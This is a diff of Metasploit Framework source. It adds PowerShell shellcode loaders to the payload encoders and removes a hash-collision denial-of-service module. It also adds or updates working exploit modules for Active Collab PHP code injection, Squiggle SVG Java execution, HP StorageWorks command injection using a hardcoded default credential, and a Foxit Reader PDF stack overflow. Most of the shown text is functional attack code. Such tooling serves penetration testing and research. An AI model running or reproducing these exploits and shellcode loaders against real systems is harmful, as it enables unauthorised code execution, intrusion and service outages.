# Kill running processes
running_pids.each() do |pid|
session.sys.process.kill(pid)
end
# Close open channels
open_channels.each() do |chan|
chan.channel.close()
end
::File.delete(script_file) if datastore['DELETE']
return
end
end; end; end; end
@@ -140,7 +140,7 @@ class Exploit
end
if not payload
payload = exploit_choose_payload(mod, target)
payload = Exploit.choose_payload(mod, target)
end
begin
@@ -236,7 +236,7 @@ class Exploit
#
# Picks a reasonable payload and minimally configures it
#
def exploit_choose_payload(mod, target)
def self.choose_payload(mod, target)
# Choose either the real target or an invalid address
# This is used to determine the LHOST value
+97 -2
View File
@@ -1,5 +1,5 @@
##
# $Id$
# $Id: exe.rb 14286 2011-11-20 01:41:04Z rapid7 $
##
###
@@ -1078,6 +1078,95 @@ End Sub
source
end
def self.to_win32pe_psh_net(framework, code, opts={})
var_code = Rex::Text.rand_text_alpha(rand(8)+8)
var_kernel32 = Rex::Text.rand_text_alpha(rand(8)+8)
var_baseaddr = Rex::Text.rand_text_alpha(rand(8)+8)
var_threadHandle = Rex::Text.rand_text_alpha(rand(8)+8)
var_output = Rex::Text.rand_text_alpha(rand(8)+8)
var_temp = Rex::Text.rand_text_alpha(rand(8)+8)
var_codeProvider = Rex::Text.rand_text_alpha(rand(8)+8)
var_compileParams = Rex::Text.rand_text_alpha(rand(8)+8)
var_syscode = Rex::Text.rand_text_alpha(rand(8)+8)
code = code.unpack('C*')
psh = "Set-StrictMode -Version 2\r\n"
psh << "$#{var_syscode} = @\"\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n"
psh << "namespace #{var_kernel32} {\r\n"
psh << "public class func {\r\n"
psh << "[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }\r\n"
psh << "[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }\r\n"
psh << "[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }\r\n"
psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
psh << "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);\r\n"
psh << "} }\r\n"
psh << "\"@\r\n\r\n"
psh << "$#{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider\r\n"
psh << "$#{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters\r\n"
psh << "$#{var_compileParams}.ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))\r\n"
psh << "$#{var_compileParams}.GenerateInMemory = $True\r\n"
psh << "$#{var_output} = $#{var_codeProvider}.CompileAssemblyFromSource($#{var_compileParams}, $#{var_syscode})\r\n\r\n"
psh << "[Byte[]]$#{var_code} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_code} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join("") + "\r\n\r\n"
psh << "$#{var_baseaddr} = [#{var_kernel32}.func]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.func+AllocationType]::Reserve -bOr [#{var_kernel32}.func+AllocationType]::Commit, [#{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)\r\n"
psh << "if ([Bool]!$#{var_baseaddr}) { $global:result = 3; return }\r\n"
psh << "[System.Runtime.InteropServices.Marshal]::Copy($#{var_code}, 0, $#{var_baseaddr}, $#{var_code}.Length)\r\n"
psh << "[IntPtr] $#{var_threadHandle} = [#{var_kernel32}.func]::CreateThread(0,0,$#{var_baseaddr},0,0,0)\r\n"
psh << "if ([Bool]!$#{var_threadHandle}) { $global:result = 7; return }\r\n"
psh << "$#{var_temp} = [#{var_kernel32}.func]::WaitForSingleObject($#{var_threadHandle}, [#{var_kernel32}.func+Time]::Infinite)\r\n"
end
def self.to_win32pe_psh(framework, code, opts={})
var_code = Rex::Text.rand_text_alpha(rand(8)+8)
var_win32_func = Rex::Text.rand_text_alpha(rand(8)+8)
var_payload = Rex::Text.rand_text_alpha(rand(8)+8)
var_size = Rex::Text.rand_text_alpha(rand(8)+8)
var_rwx = Rex::Text.rand_text_alpha(rand(8)+8)
var_iter = Rex::Text.rand_text_alpha(rand(8)+8)
code = code.unpack("C*")
# Add wrapper script
psh = "$#{var_code} = @\"\r\n"
psh << "[DllImport(\"kernel32.dll\")]\r\n"
psh << "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
psh << "[DllImport(\"kernel32.dll\")]\r\n"
psh << "public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
psh << "[DllImport(\"msvcrt.dll\")]\r\n"
psh << "public static extern IntPtr memset(IntPtr dest, uint src, uint count);\r\n"
psh << "\"@\r\n"
psh << "$#{var_win32_func} = Add-Type -memberDefinition $#{var_code} -Name \"Win32\" -namespace Win32Functions -passthru\r\n"
# Set up the payload string
psh << "[Byte[]]$#{var_payload} = 0x#{code[0].to_s(16)}"
lines = []
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
lines.push "\r\n$#{var_payload} += 0x#{code[byte].to_s(16)}"
else
lines.push ",0x#{code[byte].to_s(16)}"
end
end
psh << lines.join("") + "\r\n\r\n"
psh << "$#{var_size} = 0x1000\r\n"
psh << "if ($#{var_payload}.Length -gt 0x1000) {$#{var_size} = $#{var_payload}.Length}\r\n"
psh << "$#{var_rwx}=$#{var_win32_func}::VirtualAlloc(0,0x1000,$#{var_size},0x40)\r\n"
psh << "for ($#{var_iter}=0;$#{var_iter} -le ($#{var_payload}.Length-1);$#{var_iter}++) {$#{var_win32_func}::memset([IntPtr]($#{var_rwx}.ToInt32()+$#{var_iter}), $#{var_payload}[$#{var_iter}], 1)}\r\n"
psh << "$#{var_win32_func}::CreateThread(0,0,$#{var_rwx},0,0,0)\r\n"
end
def self.to_win32pe_vbs(framework, code, opts={})
to_exe_vbs(to_win32pe(framework, code, opts), opts)
end
@@ -1824,13 +1913,19 @@ End Sub
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
output = Msf::Util::EXE.to_jsp_war(exe)
when 'psh'
output = Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)
when 'psh-net'
output = Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
end
output
end
def self.to_executable_fmt_formats
['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war']
['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net']
end
#
@@ -1,217 +0,0 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Hashtable Collisions',
'Description' => %q{
A variety of programming languages suffer from a denial-of-service (DoS) condition
against storage functions of key/value pairs in hash data structures, the
condition can be leveraged by exploiting predictable collisions in the underlying
hashing algorithms.
The issue finds particular exposure in web server applications and/or frameworks.
In particular, the lack of sufficient limits for the number of parameters in POST
requests in conjunction with the predictable collision properties in the hashing
functions of the underlying languages can render web applications vulnerable to the
DoS condition. The attacker, using specially crafted HTTP requests, can lead to a
100% of CPU usage which can last up to several hours depending on the targeted
application and server performance, the amplification effect is considerable and
requires little bandwidth and time on the attacker side.
Tested with PHP + httpd, Tomcat, Glassfish, Geronimo. Generates a random Payload
to bypass IDS.
},
'Author' =>
[
'Christian Mehlmauer <FireFart[at]gmail.com>'
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['URL', 'http://www.ocert.org/advisories/ocert-2011-003.html'],
['URL', 'http://www.nruns.com/_downloads/advisory28122011.pdf'],
['URL', 'http://events.ccc.de/congress/2011/Fahrplan/events/4680.en.html'],
['URL', 'http://events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf'],
['URL', 'http://www.youtube.com/watch?v=R2Cq3CLI6H8'],
['CVE', '2011-5034'],
['CVE', '2011-5035'],
['CVE', '2011-4885'],
['CVE', '2011-4858']
],
'DisclosureDate'=> 'Dec 28 2011'
))
register_options(
[
Opt::RPORT(80),
OptEnum.new('TARGET', [ true, 'Target to attack', nil, ['PHP','Java']]),
OptString.new('URL', [ true, "The request URI", '/' ]),
OptInt.new('RLIMIT', [ true, "Number of requests to send", 50 ])
], self.class)
register_advanced_options(
[
OptInt.new('recursivemax', [false, "Maximum recursions when searching for collisionchars", 15]),
OptInt.new('maxpayloadsize', [false, "Maximum size of the Payload in Megabyte. Autoadjust if 0", 0]),
OptInt.new('collisionchars', [false, "Number of colliding chars to find", 5]),
OptInt.new('collisioncharlength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]),
OptInt.new('payloadlength', [false, "Length of each parameter in the payload", 8])
], self.class)
end
def generate_payload
# Taken from:
# https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
@recursivecounter = 1
collisionchars = compute_collision_chars
return nil if collisionchars == nil
length = datastore['payloadlength']
size = collisionchars.length
post = ""
maxvaluefloat = size ** length
maxvalueint = maxvaluefloat.floor
print_status("Generating POST Data...")
for i in 0.upto(maxvalueint)
inputstring = i.to_s(size)
result = inputstring.rjust(length, "0")
collisionchars.each {|key, value|
result = result.gsub(key, value)
}
post << "#{Rex::Text.uri_encode(result)}=&"
end
return post
end
def compute_collision_chars
print_status("Trying to find Hashes...") if @recursivecounter == 1
hashes = {}
counter = 0
length = datastore['collisioncharlength']
a = []
for i in @charrange
a << i.chr
end
# Generate all possible strings
source = a.repeated_permutation(length).map(&:join)
# and pick a random one
basestr = source.sample
basehash = @function.call(basestr)
hashes[counter.to_s] = basestr
counter = counter + 1
for item in source
if item == basestr
next
end
if @function.call(item) == basehash
# Hooray we found a matching hash
hashes[counter.to_s] = item
counter = counter + 1
end
if counter >= datastore['collisionchars']
break
end
end
if counter < datastore['collisionchars']
# Try it again
if @recursivecounter > datastore['recursivemax']
print_error("Not enought values found. Please start this script again")
return nil
end
print_status("#{@recursivecounter}: Not enough values found. Trying it again...")
@recursivecounter = @recursivecounter + 1
hashes = compute_collision_chars
else
print_status("Found values:")
hashes.each_value {|item|
print_status("\tValue: #{item}\tHash: #{@function.call(item)}")
item.each_char {|i|
print_status("\t\tValue: #{i}\tCharcode: #{i.ord}")
}
}
end
return hashes
end
def DJBXA(inputstring, base, start)
counter = inputstring.length - 1
result = start
inputstring.each_char {|item|
result = result + ((base ** counter) * item.ord)
counter = counter - 1
}
return result.round
end
# PHP's hash function
def DJBX33A(inputstring)
return DJBXA(inputstring, 33, 5381)
end
# Java's hash function
def DJBX31A(inputstring)
return DJBXA(inputstring, 31, 0)
end
def run
case datastore['TARGET']
when /php/i
@function = method(:DJBX33A)
@charrange = Range.new(0, 255)
if (datastore['maxpayloadsize'] <= 0)
datastore['maxpayloadsize'] = 8
end
when /java/i
@function = method(:DJBX31A)
@charrange = Range.new(0, 128)
if (datastore['maxpayloadsize'] <= 0)
datastore['maxpayloadsize'] = 2
end
else
raise RuntimeError, "Target #{datastore['TARGET']} not supported"
end
print_status("Generating Payload...")
payload = generate_payload
return if payload == nil
# trim to maximum payload size (in MB)
maxinmb = datastore['maxpayloadsize']*1024*1024
payload = payload[0,maxinmb]
# remove last invalid(cut off) parameter
position = payload.rindex("=&")
payload = payload[0,position+1]
print_status("Payload generated")
for x in 1..datastore['RLIMIT']
print_status("Sending Request ##{x}...")
opts = {
'method' => 'POST',
'uri' => datastore['URL'],
'data' => payload
}
c = connect
r = c.request_cgi(opts)
c.send_request(r)
disconnect(c)
# Don't wait for a response, can take hours
end
end
end
@@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
['CVE', '2012-1495'],
['OSVDB', '81329'],
['URL', 'http://www.exploit-db.com/exploits/18775']
['EDB', '18775']
],
'Arch' => ARCH_CMD,
'Platform' => ['unix', 'linux'],
@@ -0,0 +1,147 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Active Collab "chat module" <= 2.3.8 Remote PHP Code Injection Exploit',
'Description' => %q{
This module exploits an arbitrary code injection vulnerability in the chat module
that is part of Active Collab by abusing a preg_replace() using the /e modifier and
its replacement string using double quotes. The vulnerable function can be found in
activecollab/application/modules/chat/functions/html_to_text.php.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # vuln discovery & msf module
],
'References' =>
[
['OSVDB', '81966'],
['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'],
],
'Privileged' => false,
'Payload' =>
{
'Keys' => ['php'],
'Space' => 4000,
'DisableNops' => true,
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [['Automatic',{}]],
'DisclosureDate' => 'May 30 2012',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI',[true, "The path to the ActiveCollab installation", "/"]),
OptString.new('USER',[true, "The username (e-mail) to authenticate with"]),
OptString.new('PASS',[true, "The password to authenticate with"])
],self.class)
end
def check
login_path = "public/index.php?path_info=login&re_route=homepage"
uri = datastore['URI']
uri += (datastore['URI'][-1, 1] == "/") ? login_path : "/#{login_path}"
cms = send_request_raw({'uri' => uri}, 25)
uri = datastore['URI']
uri += (datastore['URI'][-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'
chat = send_request_raw({'uri' => uri}, 25)
# cant detect the version here
if (cms and cms.body =~ /powered by activeCollab/)
# detect the chat module
if (chat and chat.code == 200)
return Exploit::CheckCode::Vulnerable
end
end
return Exploit::CheckCode::Safe
end
def exploit
user = datastore['USER']
pass = datastore['PASS']
p = Rex::Text.encode_base64(payload.encoded)
header = rand_text_alpha_upper(3)
login_uri = datastore['URI']
login_uri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'
# login
res = send_request_cgi({
'method' => 'POST',
'uri' => login_uri,
'vars_post' =>
{
'login[email]' => user,
'login[password]' => pass,
'submitted' => "submitted",
}
}, 40)
# response handling
if res.code == 302
if (res.headers['Set-Cookie'] =~ /ac_ActiveCollab_sid_eaM4h3LTIZ=(.*); expires=/)
acsession = $1
end
elsif res.body =~ /Failed to log you in/
print_error("#{rhost}:#{rport} Could not login to the target application as #{user}:#{pass}")
elsif res.code != 200 or res.code != 302
print_error("#{rhost}:#{rport} Server returned a failed status code: (#{res.code})")
end
# injection
iuri = datastore['URI']
iuri += (datastore['URI'][-1, 1] == "/") ? 'index.php' : '/index.php'
iuri << "?path_info=chat/add_message&async=1"
phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}"
injection = "<th>\");#{phpkode}</th>"
cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}"
res = send_request_cgi({
'method' => 'POST',
'uri' => iuri,
'headers' =>
{
'cookie' => cookies
},
'vars_post' =>
{
'submitted' => "submitted",
'message[message_text]' => injection,
'message[chat_id]' => "1",
'message[posted_to_user_id]' => "all"
}
}, 25)
euri = datastore['URI']
euri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php' : '/public/index.php'
euri << "?path_info=/chat/history/1"
# execution
res = send_request_cgi({
'method' => 'POST',
'uri' => euri,
'headers' =>
{
header => p,
'cookie' => cookies
}
})
end
end
+130 -128
View File
@@ -1,128 +1,130 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Squiggle 1.7 SVG Browser Java Code Execution",
'Description' => %q{
This module abuses the SVG support to execute Java Code in the
Squiggle Browser included in the Batik framework 1.7 through a
crafted svg file referencing a jar file.
In order to gain arbitrary code execution, the browser must meet
the following conditions: (1) It must support at least SVG version
1.1 or newer, (2) It must support Java code and (3) The "Enforce
secure scripting" check must be disabled.
The module has been tested against Windows and Linux platforms.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicolas Gregoire', # aka @Agarri_FR, Abuse discovery and PoC
'sinn3r', # Metasploit
'juan vazquez' # Metasploit
],
'References' =>
[
['URL', 'http://www.agarri.fr/blog/']
],
'Payload' =>
{
'Space' => 20480,
'BadChars' => '',
'DisableNops' => true
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => ['win', 'linux', 'java'],
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
}
],
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'Privileged' => false,
'DisclosureDate' => "May 11 2012",
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
jar_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
jar_uri << "/#{rand_text_alpha(rand(6)+3)}.jar"
rand_text = Rex::Text.rand_text_alphanumeric(rand(8)+4)
if request.uri =~ /\.jar$/
paths = [
[ "Exploit.class" ],
[ "Exploit$1.class"],
[ "META-INF", "MANIFEST.MF"]
]
p = regenerate_payload(cli)
jar = p.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
jar.add_file(full, '')
end
end
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "batik_svg", path ), "rb")
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
end
print_status("Sending jar payload")
send_response(cli, jar.pack, {'Content-Type'=>'application/java-archive'})
elsif agent =~ /Batik/
svg = %Q|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0">
<script type="application/java-archive" xlink:href="#{jar_uri}"/>
<text>#{rand_text}</text>
</svg>
|
svg = svg.gsub(/\t\t\t/, '')
print_status("Sending svg")
send_response(cli, svg, {'Content-Type'=>'image/svg+xml'})
else
print_error("I don't know what the client is requesting: #{request.uri}")
end
end
end
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Squiggle 1.7 SVG Browser Java Code Execution",
'Description' => %q{
This module abuses the SVG support to execute Java Code in the
Squiggle Browser included in the Batik framework 1.7 through a
crafted SVG file referencing a jar file.
In order to gain arbitrary code execution, the browser must meet
the following conditions: (1) It must support at least SVG version
1.1 or newer, (2) It must support Java code and (3) The "Enforce
secure scripting" check must be disabled.
The module has been tested against Windows and Linux platforms.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicolas Gregoire', # aka @Agarri_FR, Abuse discovery and PoC
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
['OSVDB', '81965'],
['URL', 'http://www.agarri.fr/blog/']
],
'Payload' =>
{
'Space' => 20480,
'BadChars' => '',
'DisableNops' => true
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => ['win', 'linux', 'java'],
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
}
],
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'Privileged' => false,
'DisclosureDate' => "May 11 2012",
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
jar_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
jar_uri << "/#{rand_text_alpha(rand(6)+3)}.jar"
rand_text = Rex::Text.rand_text_alphanumeric(rand(8)+4)
if request.uri =~ /\.jar$/
paths = [
[ "Exploit.class" ],
[ "Exploit$1.class"],
[ "META-INF", "MANIFEST.MF"]
]
p = regenerate_payload(cli)
jar = p.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
jar.add_file(full, '')
end
end
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "batik_svg", path ), "rb")
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
end
print_status("#{cli.peerhost} - Sending jar payload")
send_response(cli, jar.pack, {'Content-Type'=>'application/java-archive'})
elsif agent =~ /Batik/
svg = %Q|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0">
<script type="application/java-archive" xlink:href="#{jar_uri}"/>
<text>#{rand_text}</text>
</svg>
|
svg = svg.gsub(/\t\t\t/, '')
print_status("#{cli.peerhost} - Sending SVG")
send_response(cli, svg, {'Content-Type'=>'image/svg+xml'})
else
print_error("#{cli.peerhost} - Unknown client request: #{request.uri.inspect}")
end
end
end
+100
View File
@@ -0,0 +1,100 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => "HP StorageWorks P4000 Virtual SAN Appliance Command Execution",
'Description' => %q{
This module exploits a vulnerability found in HP's StorageWorks P4000 VSA on
versions prior to 9.5. By using a default account credential, it is possible
to inject arbitrary commands as part of a ping request via port 13838.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicolas Gregoire', #Discovery, PoC, additional assistance
'sinn3r' #Metasploit module
],
'References' =>
[
['EDB', '18893'],
['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?loc=en_US&id=958'],
['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03082086']
],
'Payload' =>
{
'BadChars' => "/",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet bash'
}
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['HP VSA prior to 9.5', {}]
],
'Privileged' => false,
'DisclosureDate' => "Nov 11 2011",
'DefaultTarget' => 0))
register_options(
[
OptPort.new('RPORT', [true, 'The remote port', 13838])
], self.class)
end
def generate_packet(data)
pkt = "\x00\x00\x00\x00\x00\x00\x00\x01"
pkt << [data.length + 1].pack("N*")
pkt << "\x00\x00\x00\x00"
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00"
pkt << "\x00\x00\x00\x14\xff\xff\xff\xff"
pkt << data
pkt << "\x00"
pkt
end
def exploit
connect
# Login packet
print_status("#{rhost}:#{rport} Sending login packet")
packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"")
sock.put(packet)
res = sock.get_once
vprint_status(Rex::Text.to_hex_dump(res)) if res
# Command execution
print_status("#{rhost}:#{rport} Sending injection")
data = "get:/lhn/public/network/ping/127.0.0.1/foobar;#{payload.encoded}/"
packet = generate_packet(data)
sock.put(packet)
res = sock.get_once
vprint_status(Rex::Text.to_hex_dump(res)) if res
handler
disconnect
end
end
@@ -0,0 +1,110 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'zlib'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Foxit Reader 3.0 builds 1301 and earlier.
Due to the way Foxit Reader handles the input from an "Launch" action, it is possible
to cause a stack-based buffer overflow, allowing an attacker to gain arbitrary code
execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Francisco Falcon', # Discovery
'bannedit' # Metasploit module
],
'Version' => '$Revision: 14069 $',
'References' =>
[
[ 'CVE' , '2009-0837' ],
[ 'OSVDB', '55614' ],
[ 'BID', '34035'],
[ 'URL', 'http://www.coresecurity.com/content/foxit-reader-vulnerabilities']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x22\x28\x29\x2F\x5c\x3c\x3e\x5e\x7e"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Foxit Reader 3.0 Windows XP SP2', { 'Ret' => 0x74d34d3f} ], # ebp + offset
],
'DisclosureDate' => 'Mar 09 2009',
'DefaultTarget' => 0))
register_options([
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
], self.class)
end
def exploit
pdf = make_pdf
file_create(pdf)
handler
end
def make_pdf
action = "\n<</Type/Action/S/Launch/F<</F(/C/" # Open Execute Action
action << make_nops(321 - 5) # make_nops(21)
action << payload.encoded
action << "\xe9\xe8\xfb\xff\xff" # Jmp back to the NOPs before the payload
action << "\xeb\xf9" + make_nops(2) # Jmp to the near jump
action << [target.ret].pack('V')
action << "\x92" * 16
action << ")>>/NewWindow true>>"
pdf = "%PDF-1.4\n"
pdf << "1 0 obj\n"
pdf << "<</Type/Page/Parent 4 0 R /Resources 6 0 R /MediaBox[ 0 0 000 000]"
pdf << "/Group<</S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R "
pdf << "/Annots[ 24 0 R 25 0 R 9 0 R ]>>\n"
pdf << "endobj\n"
pdf << "4 0 obj\n"
pdf << "<</Type/Pages/Resources 6 0 R /MediaBox[ 0 0 000 000]/Kids[ 1 0 R ]/Count 1>>\n"
pdf << "endobj\n"
pdf << "7 0 obj\n"
pdf << "<</Type/Catalog/Pages 4 0 R /OpenAction[ 1 0 R /XYZ null null 0]/Lang(en-US)/Names 28 0 R >>\n"
pdf << "endobj\n"
pdf << "9 0 obj\n"
pdf << "<</Type/Annot/Subtype/Screen/P 1 0 R /M(E:000000000000000-00'00')/F 4/Rect[ "
pdf << "000.000 000.000 000.000 000.000]/BS<</S/S/W 1>>/BE<</S/S>>/MK<</BC[ 0 0 1]"
pdf << "/R 0/IF<</SW/A/S/A/FB false/A[ 0.5 0.5]>>>>/AP<</N 10 0 R >>/T()/A 12 0 R /AA 17 0 R >>\n"
pdf << "endobj\n"
pdf << "16 0 obj\n"
pdf << action
pdf << "endobj\n"
pdf << "17 0 obj\n"
pdf << "<</PV 16 0 R >>\n"
pdf << "endobj\n"
pdf << "trailer\n"
pdf << "<</Root 7 0 R /Info 8 0 R /ID[<00000000000000000000000000000000><00000000000000000000000000000000>]"
pdf << "/DocChecksum/00000000000000000000000000000000/Size 31>>\n"
pdf << "startxref\n"
pdf << "0000\n"
pdf << "%%EOF\n"
pdf
end
end
@@ -88,6 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check
fingerprint = fingerprint_mod_wl
print_status "#{rhost}:#{rport} - #{fingerprint}"
case fingerprint
when /Version found/
@@ -176,7 +177,7 @@ class Metasploit3 < Msf::Exploit::Remote
if build_date <= Date.parse("Jul 28 2008")
return "BEA WebLogic connector vulnerable"
else
return "BEA WebLogic connector no vulnerable"
return "BEA WebLogic connector not vulnerable"
end
else
return "BEA WebLogic connector undefined"
@@ -42,8 +42,8 @@ class Metasploit3 < Msf::Exploit::Remote
['OSVDB', '79276'],
['OSVDB', '79277'],
['BID', '52023'],
['URL', 'http://www.exploit-db.com/exploits/18622/'],
['URL', 'http://www.exploit-db.com/exploits/18623/']
['EDB', '18622'],
['EDB', '18623']
],
'Targets' =>
[
+7 -2
View File
@@ -400,7 +400,7 @@ if opts[:format] !~/ruby|rb|perl|pl|bash|sh|c|js|dll|elf/i
end
case opts[:format]
when /ruby|rb|perl|pl|bash|sh|^c$|js_le|raw/i
when /ruby|rb|perl|pl|bash|^sh$|^c$|js_le|raw/i
$stdout.write Msf::Simple::Buffer.transform(payload_raw, opts[:format])
when /asp$/
asp = Msf::Util::EXE.to_win32pe_asp($framework, payload_raw, exeopts)
@@ -478,8 +478,13 @@ when /war/i
else
exe = Msf::Util::EXE.to_jsp_war(exe)
end
$stdout.write exe
when /psh/i
psh = Msf::Util::EXE.to_win32pe_psh($framework, payload_raw, exeopts)
$stdout.write psh
when /psh-net/i
psh = Msf::Util::EXE.to_win32pe_psh_net($framework, payload_raw, exeopts)
